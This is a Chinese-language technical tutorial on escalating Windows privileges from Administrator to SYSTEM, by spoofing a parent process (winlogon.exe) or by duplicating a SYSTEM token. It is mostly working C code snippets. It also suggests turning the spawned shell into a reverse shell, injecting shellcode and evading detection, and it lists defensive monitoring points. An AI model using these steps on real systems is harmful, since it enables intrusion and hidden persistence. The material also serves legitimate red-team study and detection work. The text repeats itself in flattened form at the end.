内核攻防-(1)高权限继承
字数 1569 2025-08-23 18:31:25

Windows 高权限继承技术详解

背景介绍

在Windows系统中,从Administrator权限提升到System权限是渗透测试和后渗透阶段的重要技术。传统方法如令牌窃取和"土豆"提权(利用SeImpersonatePrivilege)较为常见,而本文介绍的是基于高权限进程继承的技术,为后续内核攻防打下基础。

方法一:通过父进程继承权限

1. 启用SeDebugPrivilege权限

功能:获取调试权限以操作高权限进程

实现步骤

  1. 使用OpenProcessToken()获取当前进程的访问令牌
  2. 通过LookupPrivilegeValue()查找SeDebugPrivilege的LUID值
  3. 调用AdjustTokenPrivileges()启用该权限

2. 查找SYSTEM权限进程PID

功能:定位高权限进程(如winlogon.exe)

实现步骤

  1. 使用CreateToolhelp32Snapshot()创建进程快照
  2. 通过Process32First()Process32Next()遍历进程
  3. 使用_wcsicmp()匹配目标进程名(如winlogon.exe)

3. 打开SYSTEM进程句柄

功能:获取高权限进程的操作句柄

实现步骤

HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!pHandle) {
    // 错误处理
}

4. 初始化STARTUPINFOEX结构体

功能:准备进程创建参数

实现步骤

ZeroMemory(&si, sizeof(STARTUPINFOEXA));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);

// 获取属性列表所需内存
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);

5. 设置父进程属性

功能:指定新进程的父进程

实现步骤

if (!UpdateProcThreadAttribute(
    si.lpAttributeList, 
    0, 
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 
    &pHandle, 
    sizeof(HANDLE), 
    NULL, 
    NULL
)) {
    // 错误处理
}

6. 创建新进程

功能:生成具有SYSTEM权限的新进程

实现步骤

CreateProcessA(
    NULL,
    "C:\\Windows\\system32\\cmd.exe",
    NULL,
    NULL,
    FALSE,
    EXTENDED_STARTUPINFO_PRESENT,
    NULL,
    NULL,
    &si.StartupInfo,
    &pi
);

方法二:通过令牌复制创建进程

1. 启用SeDebugPrivilege

同方法一第一步

2. 查找SYSTEM进程PID

同方法一第二步

3. 打开SYSTEM进程句柄

HANDLE hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, systemPid);

4. 复制SYSTEM令牌

功能:获取并复制高权限令牌

实现步骤

HANDLE hToken;
OpenProcessToken(hSystemProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken);

HANDLE hDupToken;
DuplicateTokenEx(
    hToken, 
    TOKEN_ALL_ACCESS, 
    NULL, 
    SecurityImpersonation, 
    TokenPrimary, 
    &hDupToken
);

5. 使用令牌创建进程

功能:直接以SYSTEM权限启动新进程

实现步骤

STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;

CreateProcessWithTokenW(
    hDupToken,
    LOGON_WITH_PROFILE,
    L"C:\\Windows\\System32\\cmd.exe",
    NULL,
    CREATE_NEW_CONSOLE,
    NULL,
    NULL,
    &si,
    &pi
);

两种方法比较

特性 方法一(CreateProcessA) 方法二(CreateProcessWithTokenW)
权限继承方式 依赖父进程权限 直接指定令牌
可靠性 可能受父进程权限影响 更直接可靠
复杂度 需要设置进程属性 需要复制令牌
适用场景 父进程确定是SYSTEM 需要确保SYSTEM权限

进阶应用

在实际渗透中,可以结合以下技术:

  1. 反弹Shell:将生成的cmd替换为反弹shell
  2. 进程注入:使用VirtualAllocExWriteProcessMemoryCreateRemoteThread将shellcode注入SYSTEM进程
  3. OPSEC考虑:避免直接生成明显进程,可采用更隐蔽的方式

推荐项目参考:SeDebugAbuse - 通过SeDebugPrivilege获取SYSTEM权限

注意事项

  1. 程序需要以管理员权限运行
  2. 注意错误处理,特别是权限相关的错误(ERROR_ACCESS_DENIED)
  3. 使用后及时清理句柄,避免资源泄露
  4. 在防御方,可监控以下行为:
    • SeDebugPrivilege启用
    • 高权限进程的令牌复制
    • 异常的父进程继承关系

总结

高权限继承技术是Windows提权的重要手段,理解其原理和实现方式对于红队操作和蓝队防御都至关重要。方法二(CreateProcessWithTokenW)通常更为可靠,而方法一在特定场景下也有其应用价值。在实际使用中,应根据具体环境和需求选择合适的技术方案。

Windows 高权限继承技术详解 背景介绍 在Windows系统中,从Administrator权限提升到System权限是渗透测试和后渗透阶段的重要技术。传统方法如令牌窃取和"土豆"提权(利用SeImpersonatePrivilege)较为常见,而本文介绍的是基于高权限进程继承的技术,为后续内核攻防打下基础。 方法一:通过父进程继承权限 1. 启用SeDebugPrivilege权限 功能 :获取调试权限以操作高权限进程 实现步骤 : 使用 OpenProcessToken() 获取当前进程的访问令牌 通过 LookupPrivilegeValue() 查找SeDebugPrivilege的LUID值 调用 AdjustTokenPrivileges() 启用该权限 2. 查找SYSTEM权限进程PID 功能 :定位高权限进程(如winlogon.exe) 实现步骤 : 使用 CreateToolhelp32Snapshot() 创建进程快照 通过 Process32First() 和 Process32Next() 遍历进程 使用 _wcsicmp() 匹配目标进程名(如winlogon.exe) 3. 打开SYSTEM进程句柄 功能 :获取高权限进程的操作句柄 实现步骤 : 4. 初始化STARTUPINFOEX结构体 功能 :准备进程创建参数 实现步骤 : 5. 设置父进程属性 功能 :指定新进程的父进程 实现步骤 : 6. 创建新进程 功能 :生成具有SYSTEM权限的新进程 实现步骤 : 方法二:通过令牌复制创建进程 1. 启用SeDebugPrivilege 同方法一第一步 2. 查找SYSTEM进程PID 同方法一第二步 3. 打开SYSTEM进程句柄 4. 复制SYSTEM令牌 功能 :获取并复制高权限令牌 实现步骤 : 5. 使用令牌创建进程 功能 :直接以SYSTEM权限启动新进程 实现步骤 : 两种方法比较 | 特性 | 方法一(CreateProcessA) | 方法二(CreateProcessWithTokenW) | |------|------------------------|--------------------------------| | 权限继承方式 | 依赖父进程权限 | 直接指定令牌 | | 可靠性 | 可能受父进程权限影响 | 更直接可靠 | | 复杂度 | 需要设置进程属性 | 需要复制令牌 | | 适用场景 | 父进程确定是SYSTEM | 需要确保SYSTEM权限 | 进阶应用 在实际渗透中,可以结合以下技术: 反弹Shell :将生成的cmd替换为反弹shell 进程注入 :使用 VirtualAllocEx 、 WriteProcessMemory 和 CreateRemoteThread 将shellcode注入SYSTEM进程 OPSEC考虑 :避免直接生成明显进程,可采用更隐蔽的方式 推荐项目参考: SeDebugAbuse - 通过SeDebugPrivilege获取SYSTEM权限 注意事项 程序需要以管理员权限运行 注意错误处理,特别是权限相关的错误(ERROR_ ACCESS_ DENIED) 使用后及时清理句柄,避免资源泄露 在防御方,可监控以下行为: SeDebugPrivilege启用 高权限进程的令牌复制 异常的父进程继承关系 总结 高权限继承技术是Windows提权的重要手段,理解其原理和实现方式对于红队操作和蓝队防御都至关重要。方法二(CreateProcessWithTokenW)通常更为可靠,而方法一在特定场景下也有其应用价值。在实际使用中,应根据具体环境和需求选择合适的技术方案。